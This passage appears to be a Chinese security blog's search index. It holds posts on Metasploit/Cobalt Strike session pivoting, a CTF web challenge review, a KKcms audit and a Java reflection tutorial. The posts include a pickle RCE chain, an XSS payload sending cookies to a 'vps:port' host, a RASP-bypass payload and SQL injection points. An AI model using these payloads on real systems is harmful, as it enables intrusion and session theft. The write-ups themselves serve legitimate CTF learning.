-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathsearch.json
1 lines (1 loc) · 178 KB
/
search.json
1
[{"title":"记红日靶场2过程中的不足","url":"/2024/11/11/记红日靶场2过程中的不足/","content":"\n\n\n\n\n\n\n# msf派生cs\n\n~~~\n#msf\nbackground\nuse exploit/windows/local/payload_inject\nset payload windows/meterpreter/reverse_http\nset DisablePayloadHandler true\nset lhost 192.168.116.131\nset lport 9000\nset session 2\nrun\n~~~\n\ncs的监听要和lport的端口一样\n\n# cs派生msf\n\n~~~\n#msf\nbackground\nuse payload payload/windows/meterpreter/reverse_http\nset lhost 192.168.116.131\nset lport 9001\nrun\n~~~\n\ncs新建一个foreing http监听设置和msf的设置一样,然后cs新建会话到这个监听器即可。\n\n---\n\n其实不止这么多,包括进程迁移,票据之类的一个cs全部搞定了就,但是我还是想尝试一下怎么用纯手动打靶而且打靶环境过于理想完全没有考虑过流量特征的问题,有机会了补一篇,内网的学习路漫漫。\n\n","tags":["内网"],"categories":["内网渗透"]},{"title":"2024强网拟态复盘","url":"/2024/10/21/2024强网拟态复盘/","content":"\n\n\n\n\nweb复盘一下吧只做出来了两道,所有题都有一点思路,但是只有一点点可惜可惜,太可惜了。\n\n# capoo\n\n这是个非预期,capoo.php可以任意文件读取,能读取到start.sh,start.sh中泄露了flag的名字,直接读取就行\n\n# ez_picker\n\n~~~python\n#源码\nfrom sanic import Sanic\nfrom sanic.response import json,file as file_,text,redirect\nfrom sanic_cors import CORS\nfrom key import secret_key\nimport os\nimport pickle\nimport time\nimport jwt\nimport io\nimport builtins\napp = Sanic(\"App\")\npickle_file = \"data.pkl\"\nmy_object = {}\nusers = []\n\nsafe_modules = {\n 'math',\n 'datetime',\n 'json',\n 'collections',\n}\n\nsafe_names = {\n 'sqrt', 'pow', 'sin', 'cos', 'tan',\n 'date', 'datetime', 'timedelta', 'timezone', \n 'loads', 'dumps', \n 'namedtuple', 'deque', 'Counter', 'defaultdict'\n}\n\nclass RestrictedUnpickler(pickle.Unpickler):\n def find_class(self, module, name):\n if module in safe_modules and name in safe_names:\n return getattr(builtins, name)\n raise pickle.UnpicklingError(\"global '%s.%s' is forbidden\" %(module, name))\n \ndef restricted_loads(s):\n return RestrictedUnpickler(io.BytesIO(s)).load()\n\nCORS(app, supports_credentials=True, origins=[\"http://localhost:8000\", \"http://127.0.0.1:8000\"])\nclass User:\n def __init__(self,username,password):\n self.username=username\n self.password=password\n \n\ndef merge(src, dst):\n for k, v in src.items():\n if hasattr(dst, '__getitem__'):\n if dst.get(k) and type(v) == dict:\n merge(v, dst.get(k))\n else:\n dst[k] = v\n elif hasattr(dst, k) and type(v) == dict:\n merge(v, getattr(dst, k))\n else:\n setattr(dst, k, v)\n\ndef token_required(func):\n async def wrapper(request, *args, **kwargs):\n token = request.cookies.get(\"token\") \n if not token:\n return redirect('/login')\n try:\n result=jwt.decode(token, str(secret_key), algorithms=['HS256'], options={\"verify_signature\": True})\n except jwt.ExpiredSignatureError:\n return json({\"status\": \"fail\", \"message\": \"Token expired\"}, status=401)\n except jwt.InvalidTokenError:\n return json({\"status\": \"fail\", \"message\": \"Invalid token\"}, status=401)\n print(result)\n if result[\"role\"]!=\"admin\":\n return json({\"status\": \"fail\", \"message\": \"Permission Denied\"}, status=401)\n return await func(request, *args, **kwargs)\n return wrapper\n\[email protected]('/', methods=[\"GET\"])\ndef file_reader(request):\n file = \"app.py\"\n with open(file, 'r') as f:\n content = f.read()\n return text(content)\n\[email protected]('/upload', methods=[\"GET\",\"POST\"])\n@token_required\nasync def upload(request):\n if request.method==\"GET\":\n return await file_('templates/upload.html')\n if not request.files:\n return text(\"No file provided\", status=400)\n\n file = request.files.get('file')\n file_object = file[0] if isinstance(file, list) else file\n try:\n new_data = restricted_loads(file_object.body)\n try:\n my_object.update(new_data)\n except:\n return json({\"status\": \"success\", \"message\": \"Pickle object loaded but not updated\"})\n with open(pickle_file, \"wb\") as f:\n pickle.dump(my_object, f)\n\n return json({\"status\": \"success\", \"message\": \"Pickle object updated\"})\n except pickle.UnpicklingError:\n return text(\"Dangerous pickle file\", status=400)\n \[email protected]('/register', methods=['GET','POST'])\nasync def register(request):\n if request.method=='GET':\n return await file_('templates/register.html')\n if request.json:\n NewUser=User(\"username\",\"password\")\n merge(request.json, NewUser)\n users.append(NewUser)\n else:\n return json({\"status\": \"fail\", \"message\": \"Invalid request\"}, status=400)\n return json({\"status\": \"success\", \"message\": \"Register Success!\",\"redirect\": \"/login\"})\n\[email protected]('/login', methods=['GET','POST'])\nasync def login(request):\n if request.method=='GET':\n return await file_('templates/login.html')\n if request.json:\n username = request.json.get(\"username\")\n password = request.json.get(\"password\")\n if not username or not password:\n return json({\"status\": \"fail\", \"message\": \"Username or password missing\"}, status=400)\n user = next((u for u in users if u.username == username), None)\n if user:\n if user.password == password:\n data={\"user\":username,\"role\":\"guest\"}\n data['exp'] = int(time.time()) + 60 *5\n token = jwt.encode(data, str(secret_key), algorithm='HS256')\n response = json({\"status\": \"success\", \"redirect\": \"/upload\"})\n response.cookies[\"token\"]=token\n response.headers['Access-Control-Allow-Origin'] = request.headers.get('origin')\n return response\n else:\n return json({\"status\": \"fail\", \"message\": \"Invalid password\"}, status=400)\n else:\n return json({\"status\": \"fail\", \"message\": \"User not found\"}, status=404)\n return json({\"status\": \"fail\", \"message\": \"Invalid request\"}, status=400)\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=8000)\n~~~\n\n考点就是原型链污染+pickle反序列化+jwt伪造,我当时感觉最难的是那个pickle反序列化,因为他是白名单虽然可以通过原型链污染进行修改但是这是由于对原理以及内建模块的不熟悉导致的,其实只需要把用到的模块和命令加入就行比如`builtins`、`getattr`、`popen`加入就好了\n\n~~~python\n#污染链\n{\"__init__\":{\n \"__globals__\":{\n \"secret_key\":\"66666\",\n \"safe_modules\":[\"os\"],\n \"safe_names\":[\"eval\"],\n }\n }\n}\n~~~\n\n~~~python\n#pickle链\nb'''(cos\neval\nS'os.system(\\\"calc\\\")'\no.'''\n~~~\n\n# Spreader\n\n~~~js\n# app.js\nconst express = require('express');\nconst session = require('express-session');\nconst stringRandom = require('string-random');\nconst bodyParser = require('body-parser');\nconst app = express();\nconst port = 3000;\nconst AdminPassWord=stringRandom(16, { numbers: true })\nconst PrivilegedPassWord=stringRandom(16, { numbers: true })\nconst PlainPassWord=stringRandom(16, { numbers: true })\nconst secret_key=stringRandom(16, { numbers: true })\nconst users = [];\nconst posts = [];\nconst store = [];\nusers.push({ username:\"admin\", password:AdminPassWord, role: \"admin\" });\nusers.push({ username:\"privileged\", password:PrivilegedPassWord, role: \"privileged\" });\nusers.push({ username:\"plain\", password:PlainPassWord, role: \"plain\" });\nconsole.log(users)\napp.use(express.static('views'));\napp.set('view engine', 'ejs');\napp.use(bodyParser.urlencoded({ extended: true }));\napp.use(session({\n secret: secret_key,\n resave: false,\n saveUninitialized: true,\n cookie: {\n httpOnly: false,\n secure: false,\n }\n}));\n\n\napp.use('/', require('./index')(users,posts,store,AdminPassWord,PrivilegedPassWord));\n\napp.listen(port, () => {\n console.log(`App is running on http://localhost:${port}`);\n});\n\n~~~\n\n~~~js\n#bot.js\nconst puppeteer = require('puppeteer');\n\nasync function triggerXSS(UserName, PassWord) {\n const browser = await puppeteer.launch({\n args: ['--no-sandbox', '--disable-setuid-sandbox'],\n executablePath: '/usr/bin/chromium',\n headless: true\n });\n\n const page = await browser.newPage();\n\n await page.goto('http://localhost:3000/login');\n\n await page.type('input[name=\"username\"]', UserName);\n await page.type('input[name=\"password\"]', PassWord);\n\n await page.click('button[type=\"submit\"]');\n\n await page.goto('http://localhost:3000/');\n\n await browser.close();\n\n return;\n}\n\nmodule.exports = { triggerXSS };\n\n~~~\n\n~~~js\n#index.js\nconst fs = require('fs');\nconst express = require('express');\nconst router = express.Router();\nconst { triggerXSS } = require('../bot');\nconst { Store } = require('express-session');\nfunction isAuthenticated(req, res, next) {\n if (req.session.user) {\n next();\n } else {\n res.redirect('/login');\n }\n}\nmodule.exports = (users,posts,store,AdminPassWord,PrivilegedPassWord) => {\n\n const ROLES = {\n PLAIN: \"plain\",\n PRIVILEGED: \"privileged\",\n ADMIN: \"admin\",\n };\n\n router.get('/register', (req, res) => {\n res.sendFile('register.html', { root: './views' });\n });\n\n router.post('/register', (req, res) => {\n const { username, password, role } = req.body;\n const userExists = users.some(u => u.username === username);\n if (userExists) {\n return res.send('Username already exists!');\n }\n users.push({ username, password, role: \"plain\" });\n res.redirect('/login');\n });\n router.get('/login', (req, res) => {\n res.sendFile('login.html', { root: './views' });\n });\n\n router.post('/login', (req, res) => {\n const { username, password } = req.body;\n console.log(username);\n console.log(password);\n const user = users.find(u => u.username === username && u.password === password);\n if (user) {\n req.session.user = user;\n res.redirect('/');\n } else {\n res.send('Invalid credentials!');\n }\n });\n router.get('/', isAuthenticated, (req, res) => {\n const currentUser = req.session.user;\n let filteredPosts = [];\n if (currentUser.role === ROLES.ADMIN) {\n filteredPosts = posts.filter(p => p.role === ROLES.PRIVILEGED || p.role === ROLES.ADMIN);\n } else if (currentUser.role === ROLES.PRIVILEGED) {\n filteredPosts = posts.filter(p => p.role === ROLES.PLAIN || p.role === ROLES.PRIVILEGED);\n } else {\n filteredPosts = posts.filter(p => p.role === ROLES.PLAIN);\n }\n res.render(`${currentUser.role}`, { posts: filteredPosts, user: currentUser });\n });\n router.post('/post', isAuthenticated, (req, res) => {\n let { content } = req.body;\n \n const scriptTagRegex = /<script\\b[^<]*(?:(?!<\\/script>)<[^<]*)*<\\/script>/gi;\n content = content.replace(scriptTagRegex, '[XSS attempt blocked]');\n\n const eventHandlerRegex = /on\\w+\\s*=\\s*([\"']).*?\\1/gi;\n content = content.replace(eventHandlerRegex, '[XSS attempt blocked]');\n \n const javascriptURLRegex = /(?:href|src)\\s*=\\s*([\"'])\\s*javascript:.*?\\1/gi;\n content = content.replace(javascriptURLRegex, '[XSS attempt blocked]');\n \n const dataURLRegex = /(?:href|src)\\s*=\\s*([\"'])\\s*data:.*?\\1/gi;\n content = content.replace(dataURLRegex, '[XSS attempt blocked]');\n \n const cssExpressionRegex = /style\\s*=\\s*([\"']).*?expression\\([^>]*?\\).*?\\1/gi;\n content = content.replace(cssExpressionRegex, '[XSS attempt blocked]');\n \n const dangerousTagsRegex = /<\\/?(?:iframe|object|embed|link|meta|svg|base|source|form|input|video|audio|textarea|button|frame|frameset|applet)[^>]*?>/gi;\n content = content.replace(dangerousTagsRegex, '[XSS attempt blocked]');\n \n const dangerousAttributesRegex = /\\b(?:style|srcset|formaction|xlink:href|contenteditable|xmlns)\\s*=\\s*([\"']).*?\\1/gi;\n content = content.replace(dangerousAttributesRegex, '[XSS attempt blocked]');\n \n const dangerousProtocolsRegex = /(?:href|src)\\s*=\\s*([\"'])(?:\\s*javascript:|vbscript:|file:|data:|filesystem:).*?\\1/gi;\n content = content.replace(dangerousProtocolsRegex, '[XSS attempt blocked]');\n \n const dangerousFunctionsRegex = /\\b(?:eval|alert|prompt|confirm|console\\.log|Function)\\s*\\(/gi;\n content = content.replace(dangerousFunctionsRegex, '[XSS attempt blocked]');\n \n posts.push({ content: content, username: req.session.user.username, role: req.session.user.role });\n res.redirect('/');\n });\n \n \n router.get('/logout', (req, res) => {\n req.session.destroy();\n res.redirect('/login');\n });\n router.get('/report_admin', async (req, res) => {\n try {\n await triggerXSS(\"admin\",AdminPassWord);\n res.send(`Admin Bot successfully logged in.`);\n } catch (error) {\n console.error('Error Reporting:', error);\n res.send(`Admin Bot successfully logged in.`);\n }\n });\n router.get('/report_privileged', async (req, res) => {\n try {\n await triggerXSS(\"privileged\",PrivilegedPassWord);\n res.send(`Privileged Bot successfully logged in.`);\n } catch (error) {\n console.error('Error Reporting:', error);\n res.send(`Privileged Bot successfully logged in.`);\n }\n });\n router.get('/store', async (req, res) => {\n return res.status(200).json(store);\n });\n router.post('/store', async (req, res) => {\n if (req.body) {\n store.push(req.body);\n return res.status(200).send('Data stored successfully');\n } else {\n return res.status(400).send('No data received');\n }\n });\n router.get('/flag', async (req, res) => {\n try {\n if (req.session.user && req.session.user.role === \"admin\") {\n fs.readFile('/flag', 'utf8', (err, data) => {\n if (err) {\n console.error('Error reading flag file:', err);\n return res.status(500).send('Internal Server Error');\n }\n res.send(`Your Flag Here: ${data}`);\n });\n } else {\n res.status(403).send('Unauthorized!');\n }\n } catch (error) {\n console.error('Error fetching flag:', error);\n res.status(500).send('Internal Server Error');\n }\n });\n return router;\n};\n\n~~~\n\n这个题一眼xss嘛,然后有两种解题思路,一个是插入js代码利用/store路由,然后访问/report_privileged将privilege用户的cookie储存到/store中,然后同样的步骤再来一次获取admin的cookie\n\n~~~js\n<script>fetch('/store',{body:\"''p\"+`rivileged_cookie''=`+encodeURIComponent(document.cookie),method:'POST',headers:{'Content-Type':'application/x-www-form-urlencoded'}})</script\n>\n~~~\n\n或者就是直接弹出privilege和admin的cookie\n\n~~~\n<img src=\"\" onerror=document.location='http://vps:port?cookie='+document.cookie />\n~~~\n\n# OnlineRunner\n\n这道题没有办法用import的方式来导入类,能执行命令的都不能用,反射也没有办法直接执行命令,看别的师傅是要绕过一个沙箱\n\n[探索Java RASP Bypass新姿势](https://vidar-team.feishu.cn/docx/AUvRdig4roPFOuxRvxAcpT81n9b)\n\n这里我还是有点懵,直接贴别的师傅的payload\n\n~~~java\nString[] files = {\"/proc/net/tcp\", \"/proc/net/tcp6\"};\n for (int f = 0; f < files.length; f++) {\n try {\n java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.FileReader(files[f]));\n String line;\n reader.readLine(); // Skip header line\n while ((line = reader.readLine()) != null) {\n line = line.trim();\n String[] parts = line.split(\"\\\\s+\");\n if (parts.length > 3) {\n String local_address = parts[1];\n String state = parts[3];\n // State 0A means LISTEN\n if (state.equals(\"0A\")) {\n String[] addrPort = local_address.split(\":\");\n String ipHex = addrPort[0];\n String portHex = addrPort[1];\n String ip = \"\";\n if (files[f].endsWith(\"tcp6\")) {\n // IPv6 address parsing\n StringBuilder ipBuilder = new StringBuilder();\n for (int i = ipHex.length(); i > 0; i -= 8) {\n String segment = ipHex.substring(Math.max(i - 8, 0), i);\n StringBuilder segBuilder = new StringBuilder();\n for (int j = segment.length(); j > 0; j -= 2) {\n segBuilder.append(segment.substring(j - 2, j));\n }\n ipBuilder.insert(0, segBuilder.toString());\n if (i > 8) {\n ipBuilder.insert(0, \":\");\n }\n }\n ip = ipBuilder.toString();\n } else {\n // IPv4 address parsing\n StringBuilder ipBuilder = new StringBuilder();\n for (int i = ipHex.length(); i > 0; i -= 2) {\n String part = ipHex.substring(i - 2, i);\n int num = Integer.parseInt(part, 16);\n ipBuilder.insert(0, num);\n if (i > 2) {\n ipBuilder.insert(0, \".\");\n }\n }\n ip = ipBuilder.toString();\n }\n int port = Integer.parseInt(portHex, 16);\n System.out.println(\"Listening on \" + ip + \":\" + port);\n }\n }\n }\n reader.close();\n } catch (java.io.IOException e) {\n System.out.println(e);\n }\n }\ntry {\n java.net.URL url = new java.net.URL(\"http://127.0.0.1:46461/sandbox/default/module/http/sandbox-control/shutdown\");\n java.net.HttpURLConnection connection = (java.net.HttpURLConnection) url.openConnection();\n connection.setRequestMethod(\"GET\");\n java.io.BufferedReader reader = new java.io.BufferedReader(\n new java.io.InputStreamReader(connection.getInputStream())\n );\n String line;\n StringBuilder response = new StringBuilder();\n while ((line = reader.readLine()) != null) {\n response.append(line).append(\"\\n\");\n }\n reader.close();\n connection.disconnect();\n System.out.println(response.toString()); System.out.println(connection.getResponseCode());\n } catch (java.io.IOException e) {\n System.out.println(e);\n }\n try {\n String command = \"/readflag\"; // Use \"dir\" on Windows\n java.lang.Process process = java.lang.Runtime.getRuntime().exec(command);\n java.io.BufferedReader reader = new java.io.BufferedReader(\n new java.io.InputStreamReader(process.getInputStream())\n );\n String line;\n while ((line = reader.readLine()) != null) {\n System.out.println(line);\n }\n reader.close();\n process.waitFor();\n } catch (Exception e) {\n e.printStackTrace();\n }\n\n/*try{\n\njava.io.File folder = new java.io.File(\"/home\");\n if (!folder.isDirectory()) {\n System.out.println(\"Provided path is not a folder\");\n return;\n }\n java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();\n java.util.zip.ZipOutputStream zos = new java.util.zip.ZipOutputStream(baos);\n java.util.Stack<java.io.File> stack = new java.util.Stack<java.io.File>();\n stack.push(folder);\n while (!stack.isEmpty()) {\n java.io.File currentFile = stack.pop();\n if (currentFile.isDirectory()) {\n java.io.File[] fileList = currentFile.listFiles();\n if (fileList != null) {\n for (int i = 0; i < fileList.length; i++) {\n stack.push(fileList[i]);\n }\n }\n } else {\n java.io.FileInputStream fis = new java.io.FileInputStream(currentFile);\n String zipEntryName = currentFile.getAbsolutePath().substring(folder.getAbsolutePath().length() + 1);\n zos.putNextEntry(new java.util.zip.ZipEntry(zipEntryName));\n byte[] buffer = new byte[1024];\n int length;\n while ((length = fis.read(buffer)) > 0) {\n zos.write(buffer, 0, length);\n }\n fis.close();\n zos.closeEntry();\n }\n }\n zos.close();\n byte[] zipBytes = baos.toByteArray();\n StringBuilder hexString = new StringBuilder();\n for (int i = 0; i < zipBytes.length; i++) {\n String hex = Integer.toHexString(0xff & zipBytes[i]);\n if (hex.length() == 1) hexString.append('0');\n hexString.append(hex);\n }\n System.out.println(hexString.toString());\n\n}catch(Exception e){System.out.println(e);}*/\n~~~\n\n~~~\n#读取文件\n\ntry { \n java.io.File file = new java.io.File(\"/home/ctf/sandbox/lib/sandbox-agent.jar\"); // 需要读取的二进制文件 \n java.io.BufferedInputStream bis = new java.io.BufferedInputStream(new java.io.FileInputStream(file)); \n byte[] buffer = new byte[1024]; // 创建一个字节数组作为缓冲区 \n int bytesRead; \n while ((bytesRead = bis.read(buffer)) != -1) { // 循环读取 \n // 处理读取的数据(这里可以进行打印、处理等) \n //System.out.write(buffer, 0, bytesRead); \nSystem.out.print('\"'); \n System.out.print(java.util.Base64.getEncoder().encodeToString(buffer)); \nSystem.out.println(\"\\\",\"); \n\t } \n } catch ( \njava.io.IOException e) { \n e.printStackTrace(); \n }\n~~~\n\n其实比赛的时候想过用base64将文件编码读取,但是因为数据过大导致网页卡死了就没有继续想过了\n\n---\n\n唉,还得继续学,太菜了\n","tags":["ctf"],"categories":["ctf","复盘"]},{"title":"KKcms代审","url":"/2024/10/15/KKcms代审/","content":"\n\n\n# 环境安装\n\n源码下载地址:https://github.com/erichuang2015/kkcms\n\nphp5.6 .9+mysql5.7.26+apache2.4.39\n\n# 审计\n\n### 验证码复用\t\n\n![](/pic/kkcms/verify1.png)\n\n~~~javascript\n<img src=\"../system/verifycode.php\" onclick=\"javascript:this.src='../system/verifycode.php?'+Math.random()\" style=\"cursor:pointer;\" alt=\"点击更换\" title=\"点击更换\" />\n~~~\n\n这串代码用来执行js代码更换验证码,但是bp它默认不加载js,所以造成了验证码复用。\n\n~~~php\n<?php\nsession_start();\n$image = imagecreate(50, 34);\n$bcolor = imagecolorallocate($image, 0, 0, 0);\n$fcolor = imagecolorallocate($image, 255, 255, 255);\n$str = '0123456789';\n$rand_str = '';\nfor ($i = 0; $i < 4; $i++){\n\t$k = mt_rand(1, strlen($str));\n\t$rand_str .= $str[$k - 1];\n}\n$_SESSION['verifycode'] = $rand_str;\nimagefill($image, 0, 0, $bcolor);\nimagestring($image, 7, 7, 10, $rand_str, $fcolor);\nheader('content-type:image/png');\nimagepng($image);\n?>\n\n~~~\n\nverifycode.php的代码,就是生成一个随机的4位0-9的图片验证码\n\n### 文件上传\n\n这个cms默认用的编辑器是KindEditor,版本是4.1.10,构造payload\n\n~~~\n<html><form enctype=\"multipart/form-data\" action=\"http://127.0.0.1/editor/php/upload_json.php\" method=\"post\"> Upload a new file:<br> <input type=\"file\" name=\"imgFile\" size=\"50\"><br> <input type=\"submit\" value=\"Upload\"> </form></html>\n~~~\n\n可以直接上传文件,但是没什么用。\n\n![](/pic/kkcms/upload1.png)\n\n而且他有白名单,只能上传指定的后缀文件。\n\n### 前台sql注入\n\n在`template\\wapian\\vlist.php`这里\n\n![](/pic/kkcms/sql1.png)\n\n我们可以看到他没有任何的防护,但其实是有防护的,vlist.php里包含了system/inc.php,而inc.php中有一个转义的函数\n\n![](/pic/kkcms/sql2.png)\n\n\n\n但是这里为什么可以注入呢?是因为这里是数字型注入,没有用双引号包裹,自然也不用双引号进行闭合,addslashes也就没起上作用,放进sqlmap里就可以跑出来。\n\n![](/pic/kkcms/sql3.png)\n\n### 前台sql注入2\n\n在ucenter\\reg.php里\n\n![](/pic/kkcms/sql4.png)\n\n这里为什么可以注入呢?这里是因为他有一个stripslashes函数,它会删除由addslashes添加上的斜杠,放进sqlmap里跑\n\n![](/pic/kkcms/sql5.png)\n\n也是可以跑出来盲注。搜索stripslashes关键字,可以找到repass.php和active.php同样有注入。\n\n### 后台sql注入\n\n在cms_usergroup_edit.php处\n\n![](/pic/kkcms/sql6.png)\n\n修改会员级别处有盲注,但是sql跑不出来不知道为什么。然后和此处一样的还有cms_ad_edit.php、cms_admin_edit.php、cms_book_edit.php、cms_channel_edit.php\n\n还有一处\n\n![](/pic/kkcms/sql7.png)\n\n这里有delete注入,整个后台的delete语句全是这样写的。\n\n---\n\nXSS漏洞就不审计了,这个cms就这样吧,一个比较简单的cms。\n","tags":["web","代码审计"],"categories":["代码审计"]},{"title":"java反射","url":"/2024/05/31/java反射/","content":"\n\n\n## 什么是反射\n\n反射是大多数语言都必不可少的组成部分,对象可以通过反射获取他的类,类可以通过反射拿到所有⽅法(包括私有),拿到的⽅法可以调⽤,总之通过“反射”,我们可以将 Java 这种静态语⾔附加上动态特性。\n\n## Java反射组成相关的类\n\njava.lang.Class:类对象;\n\njava.lang.reflect.Constructor:类的构造器对象;\n\njava.lang.reflect.Field:类的属性对象;\n\njava.lang.reflect.Method:类的方法对象;\n\n## 实例化对象的方法\n\n#### 实例化对象的getClass()方法\n\n如果上下⽂中存在某个类的实例 `obj`,那么我们可以通过 `obj.getClass` 来获取它的类。\n\n#### 使用类的 .class 方法\n\n如果你已经加载了某个类,只是想获取到它的 `java.lang.Class` 对象,那么就直接拿它的 `class` 属性即可。这个⽅法其实不属于反射。\n\n#### Class.forName(String className):动态加载类\n\n如果你知道某个类的名字,想获取到这个类,就可以使⽤ `forName` 来获取,后续要利用的话是需要实例化的。\n\n## 获取成员变量Field\n\n获取成员变量Field位于 `java.lang.reflect.Field` 包中\n\nField[] getFields() :获取所有 public 修饰的成员变量\n\nField[] getDeclaredFields() 获取所有的成员变量,不考虑修饰符\n\nField getField(String name) 获取指定名称的 public 修饰的成员变量\n\nField getDeclaredField(String name) 获取指定的成员变量\n\n## 获取成员方法 Method\n\n~~~java\nMethod getMethod(String name, 类<?>... parameterTypes) //返回该类所声明的public方法\n\nMethod getDeclaredMethod(String name, 类<?>... parameterTypes) //返回该类所声明的所有方法\n\n//第一个参数获取该方法的名字,第二个参数获取标识该方法的参数类型\n\nMethod[] getMethods() //获取所有的public方法,包括类自身声明的public方法,父类中的public方法、实现的接口方法\n\nMethod[] getDeclaredMethods() // 获取该类中的所有方法\n~~~\n\n## 获取构造函数 Constructor\n\n~~~JAVA\nConstructor<?>[] getConstructors() :只返回public构造函数\n\nConstructor<?>[] getDeclaredConstructors() :返回所有构造函数\n\nConstructor<> getConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的public构造函数\n\nConstructor<> getDeclaredConstructor(类<?>... parameterTypes) : 匹配和参数配型相符的构造函数\n~~~\n\n## 命令执行\n\n获取 class 实例 之后\n\n- 获取类名:`forName()`\n- 创建对应类型的实例:`newInstance()`\n- 获取字段的值:`get()`、设置字段的值:`set()`\n- 获取方法:`getMethod()`、调用方法:`invoke()`\n\n---\n\n基本知识就是这些,如何执行命令呢,举个例子\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class FinalReflectionCalc {\n public static void main(String[] args) throws Exception{\n Class c1 = Class.forName(\"java.lang.Runtime\");//创建一个runtime的方法\n Method c2 = c1.getDeclaredMethod(\"getRuntime\");//获取getRuntime的方法\n c2.setAccessible(true);//使getRuntime可访问,因为getRuntime是私有属性\n Object o1 = c2.invoke(null);//调用静态方法,无需实例\n Method m1 = c1.getDeclaredMethod(\"exec\",String.class);//获取exec方法\n m1.invoke(o1,\"calc\");//弹计算器\n }\n}\n~~~\n\n这是调用静态方法,不需要实例\n\n当然也可以实现一个新实例\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Constructor;\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class FinalReflectionCalc {\n public static void main(String[] args) throws Exception{\n Class c1 = Class.forName(\"java.lang.Runtime\");//获取Runtime的Class对象\n Constructor c2=c1.getDeclaredConstructor();//获取Runtime类的无参构造函数\n c2.setAccessible(true);//使getRuntime可访问\n Object c3=c2.newInstance();//创建Runtime的新实例\n Method exec = c1.getDeclaredMethod(\"exec\", String.class);\n exec.invoke(c3,\"calc\");//弹计算器\n\n }\n}\n~~~\n\n[Java反序列化基础篇-02-Java反射与URLDNS链分析](https://drun1baby.top/2022/05/20/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E5%9F%BA%E7%A1%80%E7%AF%87-02-Java%E5%8F%8D%E5%B0%84%E4%B8%8EURLDNS%E9%93%BE%E5%88%86%E6%9E%90/#0x08-%E5%88%A9%E7%94%A8%E5%8F%8D%E5%B0%84%E5%BC%B9%E8%AE%A1%E7%AE%97%E5%99%A8)参考链接,写的很清晰\n\n[Java反射](https://www.cnblogs.com/noKing/p/9038234.html#/)\n\n---\n\n## Java反射修改字段\n\n### private\n\n~~~Java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class PrivateReflect {\n public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {\n Class c = Class.forName(\"src.PrivatePerson\");\n Object m = c.newInstance();\n Method PrintMethod = c.getDeclaredMethod(\"printName\");\n PrintMethod.invoke(m);\n Field nameField = c.getDeclaredField(\"name\");\n nameField.setAccessible(true);\n nameField.set(m, new StringBuilder(\"aaaaa\"));\n PrintMethod.invoke(m);\n }\n}\n~~~\n\n~~~java\npackage src;\n\npublic class PrivatePerson {\n private StringBuilder name = new StringBuilder(\"lll\");\n\n public void printName() {\n System.out.println(name);\n }\n}\n~~~\n\nstatic单独出现的话,用getDeclaredField也可以\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\npublic class PrivateReflect {\n public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException, NoSuchMethodException, InstantiationException, InvocationTargetException, InvocationTargetException {\n Class c = Class.forName(\"src.PrivatePerson\");\n Object m =c.newInstance();\n Method f = c.getDeclaredMethod(\"printName\");\n f.invoke(m);\n Field ff=c.getDeclaredField(\"name\");\n ff.setAccessible(true);\n ff.set(m,new StringBuilder(\"lvzhouhang\"));\n f.invoke(m);\n }\n}\n~~~\n\n## final\n\nfinal 字段能否修改,有且取决于字段是直接赋值还是间接赋值(编译时赋值和运行时赋值的区别)。**直接赋值是指在创建字段时就对字段进行赋值,并且值为 JAVA 的 8 种基础数据类型或者 String 类型,而且值不能是经过逻辑判断产生的,其他情况均为间接赋值。**\n\n### 直接赋值\n\n~~~java\npackage src;\n\npublic class FinalStraightPerson {\n\n private final String name = \"lvzhouhang\";\n public final int age = 21-1;\n\n public void printInfo() {\n System.out.println(name+\" \"+age);\n\n }\n}\n~~~\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class FinalStraightReflect {\n public static void main(String[] args) throws Exception {\n Class c = Class.forName(\"src.FinalStraightPerson\");\n Object m = c.newInstance();\n Method printMethod = c.getDeclaredMethod(\"printInfo\");\n printMethod.invoke(m);\n\n Field nameField = c.getDeclaredField(\"name\");\n Field ageField = c.getDeclaredField(\"age\");\n nameField.setAccessible(true);\n ageField.setAccessible(true);\n nameField.set(m,\"lvzhouhang\");\n ageField.set(m,\"20\");\n\n printMethod.invoke(m);\n }\n}\n~~~\n\n这样通过反射修改会报错\n\n~~~\nException in thread \"main\" java.lang.IllegalArgumentException: Can not set final int field src.FinalStraightPerson.age to java.lang.String\n\tat sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:167)\n\tat sun.reflect.UnsafeFieldAccessorImpl.throwSetIllegalArgumentException(UnsafeFieldAccessorImpl.java:171)\n\tat sun.reflect.UnsafeQualifiedIntegerFieldAccessorImpl.set(UnsafeQualifiedIntegerFieldAccessorImpl.java:100)\n\tat java.lang.reflect.Field.set(Field.java:764)\n\tat src.FinalStraightReflect.main(FinalStraightReflect.java:18)\n~~~\n\n为什么呢?\n\n因为JVM在编译时期, 就把final类型的String进行了优化, 在编译时期就会把String处理成常量,只要是让name的值经过运行才能获得, 那么就不会被处理为常量。\n\n### 间接修改\n\n~~~java\npackage src;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.Method;\n\npublic class InDirectReflect {\n public static void main(String[] args) throws Exception {\n Class c = Class.forName(\"src.InDirectPerson\");\n Object m = c.newInstance();\n Method printMethod = c.getDeclaredMethod(\"printInfo\");\n printMethod.invoke(m);\n\n Field nameField = c.getDeclaredField(\"name\");\n Field ageField = c.getDeclaredField(\"age\");\n Field sexField = c.getDeclaredField(\"sex\");\n nameField.setAccessible(true);\n ageField.setAccessible(true);\n sexField.setAccessible(true);\n 